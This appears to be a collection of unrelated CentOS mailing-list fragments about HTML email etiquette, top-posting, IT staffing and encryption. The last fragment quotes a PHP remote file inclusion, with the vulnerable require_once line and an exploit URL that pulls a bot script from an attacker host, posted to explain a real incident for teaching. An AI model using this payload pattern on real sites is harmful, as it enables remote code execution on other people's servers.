Re: [CentOS] 10 Gb with CentOS
Hi, for the sake of the the CentOS email servers, would you please turn off attaching the additional copy of your email in HTML format? You are sending your email out in both plain text and HTML format, which more than doubles the size of your email, thereby doubling the amount of bandwidth the CentOS email server has to use to send it to the many many people on the list. This increases the cost of sending out your email by almost 100% but doesn't provide any more actual content. to see how to turn off HTML in many email clients look at this web page: http://expita.com/nomime.html#programs This is desired by the CentOS mailing list rules. per: 1. Please turn off HTML in your e-mail client for these mailing lists. We have several subscribers who read the list with text only readers and they can't easily read HTML formatted e-mails. There is a place (somewhere) for the flowery stationary and themes that some mail clients offer ... but this is not it. Again, please only post text e-mails to these mailing lists.

My apologies for that last post. It was not intended to go to the list. I must have fat fingered the reply to choice. Sorry!. Jeff Kinz ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos

Why Upper management and not IT management? Because IT management BENEFITS from having more staff to manage. When your headcount increases and your budget is larger, your management importance and status goes up and you become recognized as a peer of those who may become the next CEO. UNIX/Linux is bad for the IT empire builders because it is good for the rest of the company. It reduces costs and headcount while increasing increases reliability and security at the same time.

Top posting to a technical email list is very very bad form.

In addition the rest of the good info others already posted for you, please remember that 128 bit encryption doesn't mean anything unless you also specify the encryption scheme being used. A 128 bit encryption scheme may or may not be easily broken depending on which one it is. (Pick a good!)

The offending line was: require_once($_SERVER['DOCUMENT_ROOT']./db.inc.php); then a request like: http://victim.com/index.php?_SERVER[DOCUMENT_ROOT]=http://badguysit e.es/bot.txt will do a fopen() for http://badguysite.es/bot.txt/db.inc.php;, which is good enough. And yeah this works with register_globals off, which surprised me. And also surprised that mod_security has no problem with that URL. I am going to raise the issue with them. Hi Sam, Nice job tracking that down, and evenm nicer, explaining it with an example even. If you don't mind I would like to use it as a real world example for a class I'm teaching?
